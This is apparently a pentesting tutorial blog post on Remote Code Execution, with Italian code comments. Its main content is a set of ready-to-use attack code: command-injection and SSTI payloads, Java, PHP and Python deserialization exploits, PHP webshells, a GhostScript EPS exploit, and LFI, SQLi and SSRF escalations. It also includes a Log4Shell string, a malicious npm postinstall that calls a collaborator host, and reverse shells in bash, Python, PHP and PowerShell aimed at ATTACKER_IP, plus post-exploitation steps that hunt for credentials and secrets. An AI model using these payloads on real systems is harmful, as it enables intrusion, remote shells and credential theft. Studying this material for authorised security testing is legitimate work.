RCE (Remote Code Execution): What it is, Vectors and Exploits

RCE in pentesting: Learn the vectors that lead to Remote Code Execution, how to verify them, get a shell, and initiate post-exploitation.
- Posted on 2026-08-30
- Reading time: 10 min
RCE (Remote Code Execution): A Complete Guide from Attack Vectors to Shell #
Remote Code Execution is the most serious vulnerability in web hacking. It allows an attacker to execute arbitrary commands on the server—as if they had direct access to the machine via SSH. This can lead to data theft, privilege escalation, lateral movement, ransomware, and total persistence.
In a bug bounty, a confirmed RCE is almost always worth the maximum payout, often tens of thousands of dollars. OWASP considers it the most critical impact achievable through injection (A03:2021).
The key point: RCE isn't a single type of vulnerability. It's an outcome. It's reached through a variety of routes— command injection , SSTI , deserialization , file upload , LFI , SQL injection , XXE , ImageMagick, component CVEs. This guide maps all the vectors and shows how to scale each one to a shell.
The Basic Concept #
When an application receives user input and uses it to perform system-level operations without validating it, the attacker can inject their own instructions that the server executes as if they were legitimate.
Input utente → [applicazione] → interprete (shell, template engine, runtime, parser)
↑
se l'input non è validato
l'attaccante controlla cosa esegue l'interpreteThe difference from other vulnerabilities:
- XSS: execute code in the victim's browser
- SQLi: execute queries in the database
- RCE: execute commands on the server operating system
Vector 1 — Command Injection #
The most direct. The application passes user input to a function that executes system commands — exec(), system(), popen(), subprocessThe attacker closes the legitimate command and adds his own.
# Esempio: l'app fa ping all'IP fornito dall'utente
# Payload: chiudi il comando con ; e aggiungi il tuo
ping -c 1 127.0.0.1; whoami
ping -c 1 127.0.0.1 && cat /etc/passwd
ping -c 1 $(id)
ping -c 1 `cat /etc/shadow`
# Separatori da testare in ogni campo:
; && || | `cmd` $(cmd) %0a %0d%0aWhen you see no output (blind command injection), use DNS or HTTP callbacks to confirm execution before attempting a shell:
# Callback DNS — invisibile nei log HTTP
ping -c 1 127.0.0.1; nslookup $(whoami).COLLABORATOR.net
# Callback HTTP — porta l'output nel path
ping -c 1 127.0.0.1; curl http://COLLABORATOR.net/$(whoami)The complete guide with WAF bypass, OS detection and automation with commix is on command-injection and os-command-injection.
Vector 2 — SSTI (Server-Side Template Injection) #
The templating engine evaluates your input as code rather than data. The first step is fingerprinting: each engine responds differently to mathematical expressions.
{{7*7}} → 49 → Jinja2 (Python/Flask) o Twig (PHP)
${7*7} → 49 → Freemarker, Velocity (Java), EL (Spring)
#{7*7} → 49 → Pebble (Java)
*{7*7} → 49 → Thymeleaf (Spring)
<%= 7*7 %> → 49 → ERB (Ruby)Once the engine is identified, the RCE is almost always reachable:
# Jinja2 (Flask/Django) → RCE tramite introspezione Python
# Percorso classico: accedi alle sottoclassi di object per trovare os o subprocess
{{''.__class__.__mro__[1].__subclasses__()}}
# Cerca l'indice di subprocess.Popen o os._wrap_close, poi:
{{''.__class__.__mro__[1].__subclasses__()[INDICE]('id',shell=True,stdout=-1).communicate()}}
# Alternativa più leggibile (Jinja2):
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Lettura file sensibili senza RCE immediata:
{{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}}// Freemarker → RCE
${"freemarker.template.utility.Execute"?new()("id")}
// Velocity → RCE
#set($ex = $class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))YesWeHack research (Ekoparty 2024) has developed fully self-contained SSTI payloads for all major engines — they do not depend on external HTTP parameters and work in complex exploitation scenarios.
Guides for specific engine: jinja2-ssti-rce , twig-ssti-rce , freemarker-ssti-rce , velocity-ssti-rce , erb-ssti-rce , pebble-ssti-rce , thymeleaf-ssti-rce , smarty-ssti-rce , mako-ssti-rce . Pillar guide: ssti-server-side-template-injection.
Vector 3 — Insecure Deserialization #
The server deserializes objects controlled by the attacker. During deserialization, methods are called that, when linked together in a gadget chain, lead to command execution.
# Java (ysoserial) — cerca magic bytes rO0AB nei cookie/parametri
java -jar ysoserial-all.jar URLDNS "http://COLLABORATOR.net" > dns_probe.ser
# Mandalo prima → se arriva callback DNS → deserializzazione confermata
# Poi scala a RCE:
java -jar ysoserial-all.jar CommonsCollections6 'id' > rce.ser
curl -X POST https://target.com/api/endpoint \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @rce.ser
# PHP (phpggc) — cerca O: o a: nei cookie base64
./phpggc Laravel/RCE1 system 'id' -b
# → inserisci il base64 nel cookie
# Python pickle — cerca gASV nei cookie base64
python3 -c "
import pickle,os,base64
class E(object):
def __reduce__(self): return (os.system,('id',))
print(base64.b64encode(pickle.dumps(E())).decode())
"Recent deserialization CVEs: SharePoint CVE-2025-53770 (CVSS 9.8, Unauthenticated RCE), BentoML CVE-2025-32375 (Pickle on HTTP requests in an AI framework).
Complete guide with gadget chain, GadgetProbe and step-by-step workflow on deserialization-attack.
Vector 4 — File Upload #
You upload an executable file to the server. If the server runs it instead of serving it as a static file, you have RCE.
// Webshell PHP — il payload più semplice
<?php system($_GET['cmd']); ?>
# Upload e accesso
curl -X POST "https://target.com/upload" \
-F "file=@shell.php;type=image/jpeg"
curl "https://target.com/uploads/shell.php?cmd=id"
# Bypass filtri su estensione:
# shell.php5 shell.phtml shell.pHp shell.php.jpg
# shell.jsp → shell.jspx shell.jsw
# Aggiunta magic bytes GIF per bypassare check sul contenuto:
printf 'GIF89a;\n<?php system($_GET["cmd"]); ?>' > shell.gif.phpImageMagick + GhostScript → RCE from Image Upload #
Less obvious but still very popular vector in 2025-2026. ImageMagick delegates PostScript/PDF/EPS file processing to GhostScript, which has had repeated vulnerabilities in its sandbox (-dSAFER). If the application uses ImageMagick to resize or convert user-loaded images, a file .eps o .ps disguised as JPEG passes the MIME filter but is passed to GhostScript which executes it.
CVE-2024-29510 was actively exploited in 2024. ImagePanick (2026) demonstrated that even user-uploaded SVGs can trigger the issue via the SVG → GhostScript delegate chain.
# Payload EPS per command injection via GhostScript
cat > exploit.eps << 'EOF'
%!PS
/ShellStr (/bin/bash -c 'id > /tmp/rce_proof') def
ShellStr (r) file /ReadFile exch def
ReadFile closefile
EOF
# Rinomina e carica come immagine
mv exploit.eps profile_picture.jpg
curl -X POST "https://target.com/upload/avatar" \
-F "avatar=@profile_picture.jpg;type=image/jpeg"
# Oppure SVG con XXE che triggerà GhostScript
cat > exploit.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
EOF
# Verifica: il file viene processato da ImageMagick? Cerca nel source:
# imagick, ImageMagick, convert, mogrify, thumbnail
# Nelle dipendenze: composer.json → "intervention/image", "imagine/imagine"Related guides: file-upload-attack , web-shell , xxe-injection.
Vector 5 — LFI → RCE #
Local File Inclusion alone does not lead to RCE, but there are three classic escalations.
Log Poisoning #
# Step 1: inietta PHP nel log Apache via User-Agent
curl "https://target.com/" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
# Step 2: includi il log con LFI per eseguire il PHP
curl "https://target.com/?page=../../../../var/log/apache2/access.log&cmd=id"PHP Session File Inclusion #
# Step 1: inietta payload nel file di sessione tramite un input salvato
curl "https://target.com/login" --cookie "PHPSESSID=abc123" \
-d "username=<?php system(\$_GET['cmd']); ?>"
# Step 2: includi il file di sessione con LFI
curl "https://target.com/?page=../../../../tmp/sess_abc123&cmd=id"PHP Wrapper data:// #
# Se allow_url_include = On (raro ma presente in config legacy):
curl "https://target.com/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"
# PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ = <?php system($_GET['cmd']); ?>Remote File Inclusion is the variant where you include an external file directly — rarer but immediate: just serve a PHP file from your server and include it.
Vector 6 — SQL Injection → RCE #
Some database configurations allow escalation from SQL injection to OS command execution. The full path, including enumeration and privilege escalation within the DB, is at database-privilege-escalation.
-- MSSQL: xp_cmdshell (richiede sysadmin)
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';--
-- MySQL: INTO OUTFILE (richiede FILE privilege + webroot scrivibile)
' UNION SELECT "<?php system($_GET['cmd']); ?>"
INTO OUTFILE '/var/www/html/shell.php'--
-- PostgreSQL: COPY FROM PROGRAM (richiede superuser)
'; CREATE TABLE t(o text);
COPY t FROM PROGRAM 'id';
SELECT * FROM t;--# sqlmap automatizza tutto
sqlmap -u "https://target.com/?id=1" --os-shell --dbms=mssqlVector 7 — XXE → RCE #
XXE itself supports file reading and SSRF — but it scales to RCE in two main ways.
XXE → SSRF → Internal Services #
<!-- Leggi credenziali AWS dal metadata endpoint -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name">
]>
<root><data>&xxe;</data></root>
<!-- Le credenziali IAM permettono di lanciare istanze EC2 → RCE in cloud -->
<!-- Gopher verso Redis interno senza auth → scrivi crontab → RCE -->
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_FLUSHALL%0D%0A...">XXE → PHP Filter Chain (CVE-2024-2961) #
Charles Fol's research (2024): on PHP, the function iconv It has a buffer overflow exploitable via a filter chain. Combined with XXE, which allows reading arbitrary files, it scales to full RCE. Magento CVE-2024-34102 (CosmicString) exploited exactly this chain: XXE read env.php (JWT key) → admin login → RCE filter chain.
Vector 8 — eval() and Code Injection #
Many languages have functions that evaluate strings as code — eval() in PHP, Python and JavaScript, exec() in Python, assert() in PHP (in some versions).
// PHP: eval() con input non sanitizzato
eval("echo " . $_GET['input'] . ";");
// Payload: system('id');//
// Risultato: esegue system('id')
// PHP: assert() come eval (PHP < 7)
assert($_GET['input']);
// Payload: system('id')
// Prolog PHP eval via include su path remoto
include($_GET['page'] . '.php');
// Payload: ?page=php://input con body: <?php system('id'); ?>
# Python: eval() su input utente
result = eval(user_input)
# Payload: __import__('os').system('id')// Node.js: eval() o Function() su input
eval(req.query.code)
new Function(req.query.code)()Vector 9 — SSRF → RCE #
SSRF allows the server to make requests to unexposed internal services. If those services are vulnerable, it scales to RCE.
# SSRF → Docker API senza auth (porta 2375)
curl "https://target.com/fetch?url=http://127.0.0.1:2375/containers/json"
# Crea un container con mount di / → esegui comandi come root
# SSRF → Redis senza auth → scrivi webshell o crontab
# Via Gopher protocol:
curl "https://target.com/fetch?url=gopher://127.0.0.1:6379/_SET%20key%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%22"
# SSRF → Jenkins console interna → esecuzione Groovy → RCE
curl "https://target.com/fetch?url=http://127.0.0.1:8080/script" \
--data 'script=["id"].execute().text'
# SSRF → AWS metadata → credenziali IAM
curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"Vector 10 — CVE on Known Components #
Many RCEs don't require creative exploitation: simply find a vulnerable version of a component and use the public exploit.
How to Identify Vulnerable Components #
# Fingerprinting tecnologie con whatweb
whatweb https://target.com
# Header HTTP rivelano versioni
curl -sI "https://target.com/" | grep -iE "server|x-powered|x-generator"
# Server: Apache/2.4.49 → CVE-2021-41773
# X-Powered-By: PHP/7.2.24 → cerca CVE su PHP 7.2.x
# searchsploit per exploit locali
searchsploit apache 2.4.49
searchsploit "spring framework 5.3"
searchsploit wordpress 5.8
# nuclei per rilevamento automatico
nuclei -u https://target.com -tags cve -severity critical,highReference CVE #
Log4Shell (CVE-2021-44228) — Apache Log4j JNDI injection. Still present in legacy, unpatched systems. Payload in User-Agent or any logged field:
${jndi:ldap://ATTACKER_IP:1389/exploit}Apache 2.4.49 Path Traversal + RCE (CVE-2021-41773):
curl "https://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" --data "echo;id"ProxyLogon (CVE-2021-26855) — Exchange Server, SSRF pre-auth → file write → RCE.
PHP CGI (CVE-2024-4577) — Windows only, PHP command line option injection via HTTP input.
Atlassian Confluence OGNL injection (CVE-2021-26084) — Template injection in OGNL, massively exploited within days of disclosure.
SharePoint (CVE-2025-53770) — authentication bypass combined with unsafe object handling → Unauthenticated RCE, CVSS 9.8.
BentoML (CVE-2025-32375) — AI framework that used pickle to deserialize HTTP → RCE requests from any input.
React2Shell (CVE-2025-55182) — injection into React Server Components implementations, RCE via SSR.
Vector 11 — Dependency Confusion #
Technique discovered by Alex Birsan (2021). If your organization uses private packages (npm, pip, gem), you publish a public package with the same name and a higher version. The package manager downloads yours.
# Trova package privati in: package.json, requirements.txt, Gemfile, pom.xml
# Oppure nelle job listing dell'azienda
# Pubblica su npm con postinstall malevolo:
# package.json → "scripts": {"postinstall": "curl http://COLLABORATOR.net/$(whoami)@$(hostname)"}
# npm publish internal-utils --version 9.9.9
# CI/CD installa package automaticamente → RCE sul sistema CI/CD → accesso alla codebaseGetting a Stable Shell #
Once you're running commands, you want an interactive shell. The reverse shell connects the server to you.
# Sul tuo server: ascolta
nc -lvnp 4444
# Sul target: invia la shell (scegli in base a cosa è disponibile)
# Bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# PHP
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
# PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r=$r+'PS '+(pwd).Path+'> ';$se=([text.encoding]::ASCII).GetBytes($r);$s.Write($se,0,$se.Length);$s.Flush()}"
# Se le porte sono bloccate: prova 80, 443, 8080, 8443, 53
# Se il comando contiene / o spazi filtrati: usa base64
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | base64
bash -c {echo,BASE64_QUI}|{base64,-d}|bashStabilizes the Shell (Important) #
A raw reverse shell has no CTRL+C, TAB completion, or history. Stabilize it now or you'll lose it.
# Metodo Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Premi CTRL+Z → metti in background
stty raw -echo; fg
# Premi INVIO due volte
export TERM=xterm; export SHELL=bash
# Metodo socat (se disponibile) — shell completamente interattiva
# Sul tuo server:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Sul target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444OOB Confirmation for Blind RCE #
When you don't see command output, use callback to confirm before attempting the shell:
# Burp Collaborator (genera dominio unico automaticamente)
# oppure interactsh:
interactsh-client # genera URL tipo abc123.oast.fun
# DNS callback — il più stealth, passa quasi tutti i firewall
nslookup $(whoami).abc123.oast.fun
dig $(id | base64 -w0).abc123.oast.fun
# HTTP callback — porta l'output nel path
curl http://abc123.oast.fun/$(whoami)
wget http://abc123.oast.fun/$(hostname)-$(id|base64 -w0)
# Se DNS e HTTP sono bloccati: time-based (misura il ritardo)
# Esegui: sleep 10
# Se la risposta impiega 10 secondi → blind RCE confermataFirst Steps After Shell #
Once you get the shell, these commands give you context for the next steps:
# Identità e contesto
whoami && id
# www-data, nobody → utente web → devi scalare
# root → non serve scalare
# Infrastruttura
hostname && ip addr show
cat /etc/os-release; uname -a
# Credential hunting — spesso vale più dell'escalation diretta
find / -name "*.env" 2>/dev/null
find / -name "config.php" -o -name "wp-config.php" -o -name "database.yml" 2>/dev/null
find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null
cat ~/.bash_history
env | grep -iE "key|secret|pass|token"
# Privilege escalation rapida
sudo -l # esegui qualcosa senza password?
find / -perm -4000 2>/dev/null # SUID binary exploitabili?
whoami /priv # Windows: SeImpersonatePrivilege → Potato
# Altri host raggiungibili (pivot)
ip route; cat /etc/hosts
for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "LIVE: 192.168.1.$i"; doneFor privilege escalation on Linux go to linux-privesc , on Windows go to privilege-escalation-windows . For the full post-exploitation: post-exploitation.
Main Tools #
# revshells.com — genera qualsiasi tipo di reverse shell con encoding automatico
# commix — command injection automatico
commix --url="https://target.com/ping?host=INJECT_HERE"
# nuclei — scansione CVE e RCE automatica
nuclei -u https://target.com -tags rce,cve -severity critical
# searchsploit — exploit database locale
searchsploit apache 2.4.49
searchsploit --update
# msfvenom — genera payload compilati
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
# Metasploit handler per ricevere connessioni
use exploit/multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST TUO_IP; set LPORT 4444; run
# interactsh — Burp Collaborator open source
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-clientChecklist #
IDENTIFICAZIONE VETTORE
☐ Command injection: ; && || ` $() %0a in tutti gli input → output o callback?
☐ SSTI: {{7*7}} ${7*7} #{7*7} *{7*7} in tutti i campi riflessi → 49?
☐ Deserialization: rO0AB (Java) O: (PHP) gASV (Python) nei cookie/parametri?
☐ File upload: PHP/JSP/ASPX accettato? ImageMagick attivo? Testa EPS mascherato da JPEG
☐ LFI: path traversal in page/file/include → log poisoning possibile?
☐ SQLi: errori DB → xp_cmdshell (MSSQL) / INTO OUTFILE (MySQL) / COPY FROM PROGRAM (PG)?
☐ XXE: endpoint XML/SOAP/SVG → entity esterna processata? → SSRF → RCE?
☐ eval() o assert() nel codice: input utente valutato come codice?
☐ SSRF: URL nei parametri → Docker API/Redis/Jenkins interni raggiungibili?
☐ Versioni componenti → nuclei/searchsploit → CVE noti?
CONFERMA OOB (BLIND RCE)
☐ interactsh o Burp Collaborator attivi
☐ Payload DNS/HTTP inviato → callback ricevuto → RCE confermata
☐ whoami/hostname nel callback per identificare il contesto
SHELL
☐ nc -lvnp 4444 in ascolto
☐ Reverse shell inviata (bash/python/php/powershell)
☐ Shell stabilizzata: python3 pty + stty raw -echo
☐ whoami + id + hostname + ip addr verificati
POST-EXPLOITATION
☐ .env, config.php, wp-config.php, .bash_history cercati
☐ sudo -l, SUID, SeImpersonatePrivilege controllati
☐ Altri host nella rete interni raggiunti (pivot)?
DOCUMENTAZIONE
☐ Screenshot payload + risposta server
☐ Screenshot callback OOB (DNS/HTTP con output del comando)
☐ Screenshot shell stabile con whoami/id
☐ Path completo dell'exploitation documentato step by stepFAQ #
Are RCE and command injection the same thing? No. Command injection is a specific vector—input passed to an OS function. RCE is the final result—command execution on the server. You can get there through command injection, but also through SSTI, deserialization, file upload, and LFI. Command injection is a path; RCE is the destination.
I have a webshell but can't get a reverse shell. Why? The firewall is blocking outgoing connections. Try common ports that are often allowed: 80, 443, 8080, 8443, and 53 (DNS tunneling). If everything is blocked outgoing, use a bind shell (listens on the target instead of connecting to you) or HTTP tunneling.
How do I demonstrate a blind RCE in a report?
The OOB callback is the standard test. Show: (1) the sent payload, (2) the interactsh or Collaborator screenshot showing the DNS/HTTP request with the result of the command (e.g. www-data.abc123.oast.fun). It is considered sufficient evidence even without direct output.
What does it mean if ImageMagick is vulnerable? How do I identify it?
If the application allows image uploads, look in the source code or dependencies: imagick, intervention/image, imagine/imagine, the presence of the track convert o mogrify. Try uploading a file .eps renamed .jpg and see if the application processes or rejects it — if it doesn't reject it, it is potentially vulnerable to GhostScript RCE.
What is the severity of a report? Critical, always, without exception. A confirmed RCE is the most serious finding in any bug bounty program or pentest report.
Resources #
- revshells.com — reverse shell payload generator for any language
- PortSwigger Web Security Academy — OS Command Injection
- PayloadsAllTheThings — Command Injection & RCE
- GTFOBins — Linux binary for escalation and post-RCE shells
- interactsh — open source OOB callback
- YesWeHack — SSTI exploitation with self-contained RCE
Un
;, an{{7*7}}, an.epsrenamed.jpg: different roads to the same place. Penetration test HackIta. 1:1 Training.








